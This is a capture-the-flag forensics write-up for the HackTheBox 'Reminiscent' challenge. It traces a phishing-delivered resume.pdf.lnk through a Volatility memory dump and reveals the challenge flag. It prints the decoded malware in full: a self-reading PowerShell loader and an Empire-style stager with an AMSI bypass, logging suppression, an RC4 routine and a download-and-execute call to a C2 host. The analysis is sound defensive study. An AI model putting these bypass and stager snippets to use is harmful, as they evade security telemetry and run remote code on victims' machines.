Challenge Info

Spoiler

Reminiscent hands you a memory dump of a recruiter’s VM plus the email that started the infection, and asks you to carve the malware out of memory, decode it, and find the flag.

In the contrary the official HTB path and description of the challenge goes as follows:

Suspicious traffic was detected from a recruiter’s virtual PC. A memory dump of the offending VM was captured before it was removed from the network for imaging and analysis. Our recruiter mentioned he received an email from someone regarding their resume. A copy of the email was recovered and is provided for reference. Find and decode the source of the malware to find the flag.

Artifacts Provided

  • flounder-pc-memdump.elf — full memory capture of the recruiter’s VM.
  • imageinfo.txtVolatility imageinfo output for the dump, pointing straight at Win7SP1x64.
  • Resume.eml — the phishing email itself.

Analysis

The email

The .eml is a plain resume pitch, nothing attached directly — just a link:

From: Brian Loodworm <[email protected]>
To: [email protected]
Subject: Resume

Hi Frank, someone told me you would be great to review my resume..
Could you have a look?

resume.zip [1]
[1] http://10.10.99.55:8080/resume.zip

No attachment to pull apart on disk — the payload was fetched live and has to be carved back out of memory instead.

Recon — pstree

Since imageinfo.txt already hands us the profile, no need to burn time re-running imageinfo:

volatility -f flounder-pc-memdump.elf --profile=Win7SP1x64 pstree
 0xfffffa80020bb630:explorer.exe                     2044   2012     36    926  2017-10-04 18:04:41 UTC+0000
 . 0xfffffa80022622e0:VBoxTray.exe                    1476   2044     13    146  2017-10-04 18:04:42 UTC+0000
 . 0xfffffa80007e0b30:thunderbird.ex                  2812   2044     50    534  2017-10-04 18:06:24 UTC+0000
 . 0xfffffa800224e060:powershell.exe                   496   2044     12    300  2017-10-04 18:06:58 UTC+0000
 .. 0xfffffa8000839060:powershell.exe                 2752    496     20    396  2017-10-04 18:07:00 UTC+0000

thunderbird.exe is the mail client that opened the link, and it’s the direct parent of a powershell.exe, which itself spawned a second powershell.exe. Two stages of PowerShell hanging off a mail client is exactly the shape of a malicious-attachment-turned-loader.

netscan backs this up — the box talked to 10.10.99.55 on both :80 and :8080 from a powershell.exe-owned socket, matching the link in the email:

0x1fc04490   TCPv4   10.10.100.43:49246   10.10.99.55:80   CLOSED   2752   powershell.exe
0x1fc3d320   TCPv4   10.10.100.43:49247   10.10.99.55:80   CLOSED   2752   powershell.exe

Carving the “resume”

We know a file named resume-something has to be sitting on disk, so filescan for it:

volatility -f flounder-pc-memdump.elf --profile=Win7SP1x64 filescan | grep resume
0x000000001e1f6200      1      0 R--r--  \Device\HarddiskVolume2\Users\user\Desktop\resume.pdf.lnk
0x000000001e8feb70      1      1 R--rw-  \Device\HarddiskVolume2\Users\user\Desktop\resume.pdf.lnk

Not a PDF — a .pdf.lnk. A Windows shortcut wearing a document’s extension, banking on Explorer’s default “hide known file extensions” to make it look like resume.pdf. .lnk files carry their own Target/argument fields, so it doesn’t need a dropped EXE — the shortcut itself is the payload.

timeliner corroborates the whole delivery-to-execution chain via USER ASSIST:

2017-10-03 02:09:48 UTC  C:\Users\user\AppData\Local\Temp\Temp1_resume[1].zip\resume.pdf.lnk   (extracted from the downloaded zip)
2017-10-03 02:25:04 UTC  C:\share\resume.pdf.lnk
2017-10-04 17:58:03 UTC  C:\Users\user\Desktop\resume\resume.pdf.lnk
2017-10-04 18:06:58 UTC  C:\Users\user\Desktop\resume.pdf.lnk                                    (Count: 3 — the execution that shows up in pstree)

Dumped both offsets with dumpfiles:

volatility -f flounder-pc-memdump.elf --profile=Win7SP1x64 dumpfiles -Q 0x000000001e1f6200 -D .

Two files drop out — file.496.0xfffffa80017dcc60.resume.pdf.lnk.vacb and file.496.0xfffffa80022ac740.resume.pdf.lnk.dat. Same underlying data, the .vacb one just has extra null-byte padding at the end.

Stage 1 — the LNK’s embedded command

.lnk files store their target/argument strings UTF-16LE, so strings -el (not plain strings) is what actually pulls anything readable out:

strings -el file.496.0xfffffa80022ac740.resume.pdf.lnk.dat
..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
-win hidden -Ep ByPass $r =
[Text.Encoding]::ASCII.GetString([Convert]::FromBase64String('JHN0UCwkc2lQ...'));
iex $r;

Base64-decoding that blob gives a small self-referencing loader:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
$stP,$siP=3230,9676
$f='resume.pdf.lnk'
if(-not(Test-Path $f)){
    $x=Get-ChildItem -Path $env:temp -Filter $f -Recurse
    [IO.Directory]::SetCurrentDirectory($x.DirectoryName)
}
$lnk=New-Object IO.FileStream $f,'Open','Read','ReadWrite'
$b64=New-Object byte[]($siP)
$lnk.Seek($stP,[IO.SeekOrigin]::Begin)
$lnk.Read($b64,0,$siP)
$b64=[Convert]::FromBase64CharArray($b64,0,$b64.Length)
$scB=[Text.Encoding]::Unicode.GetString($b64)
iex $scB

The .lnk file is its own dropper: no second file to fetch, no on-disk staging beyond the shortcut. It reopens itself, seeks to byte offset 3230, reads 9676 bytes, and treats that region of its own file as a UTF-16-encoded base64 blob to iex. That’s the second powershell.exe we saw in pstree — same file, same offsets, self-hosted second stage.

Stage 2 — Empire-style beacon, RC4 keystream

Same strings -el dump of the .dat file has that second blob sitting further down — a much larger base64 chunk. Decoded and read through [Text.Encoding]::Unicode.GetString(...) to reverse the UTF-16LE:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
$GroUPPOLiCYSEttINGs = [rEF].ASseMBLY.GEtTypE('System.Management.Automation.Utils')."GEtFIE`ld"(
    'cachedGroupPolicySettings','N'+'onPublic,Static').GETValUe($nulL);
$GRouPPOlICySeTTiNgS['ScriptB'+'lockLogging']['EnableScriptB'+'lockLogging'] = 0;
$GRouPPOLICYSEtTingS['ScriptB'+'lockLogging']['EnableScriptBlockInvocationLogging'] = 0;
[Ref].AsSemBly.GeTTyPE('System.Management.Automation.AmsiUtils')|?{$_}|%{
    $_.GEtFieLd('amsiInitFailed','NonPublic,Static').SETVaLuE($NulL,$True)
};
$WC=NEW-OBjEcT SysTEM.NEt.WeBClIEnt;
$K=[SYStEM.Text.ENCODIng]::ASCII.GEtBytEs('E1gMGdfT@eoN>x9{]2F7+bsOn4/SiQrw');
$R={
    $D,$K=$ArgS;$S=0..255;
    0..255|%{ $J=($J+$S[$_]+$K[$_%$K.CounT])%256; $S[$_],$S[$J]=$S[$J],$S[$_] };
    $D|%{ $I=($I+1)%256; $H=($H+$S[$I])%256; $S[$I],$S[$H]=$S[$H],$S[$I]; $_-bxoR$S[($S[$I]+$S[$H])%256] };
};
$wc.HEAdErs.ADD("Cookie","session=MCahuQVfz0yM6VBe8fzV9t9jomo=");
$ser='http://10.10.99.55:80';
$t='/login/process.php';
$flag='HTB{REDACTED}';
$DatA=$WC.DoWNLoaDDATA($SeR+$t);
$iv=$daTA[0..3];
$DAta=$DaTa[4..$DAta.LenGTH];
-JOIN[CHAr[]](& $R $datA ($IV+$K))|IEX

Textbook Empire staging behavior: it flips off ScriptBlockLogging and force-fails the AMSI init field via reflection before doing anything else, so none of this shows up in the usual telemetry. $R is a hand-rolled RC4 (KSA + PRGA, byte-for-byte) keyed with a static ASCII string, used to decrypt whatever /login/process.php returns before IEX-ing it — the first 4 bytes of the response are treated as extra IV material appended to the key.

None of that second network round-trip matters for the flag, though — it’s sitting in plaintext right there in the decoded script:

Spoiler
$flag='HTB{$_j0G_y0uR_M3m0rY_$}'.

Full chain

Resume.eml
  └─ link → resume.zip (fetched, never touches disk as a zip)
      └─ resume.pdf.lnk  (Desktop, double-extension disguise)
          └─ PowerShell #1 (base64, UTF-16) — self-seeks its own .lnk file at offset 3230/9676
              └─ PowerShell #2 (base64, UTF-16) — AMSI bypass, ScriptBlockLogging off, RC4-keyed Empire beacon
                  └─ FLAG (plaintext in the decoded script, before the C2 round-trip even matters)
Tip
The interesting bit here isn’t the crypto — it’s that the .lnk never drops a second file. Stage 1 reopens itself and reads its own bytes at a hardcoded offset for stage 2. Any tooling that only inspects a .lnk’s Target/Arguments fields and ignores trailing bytes appended past the structure it expects will walk straight past the actual payload.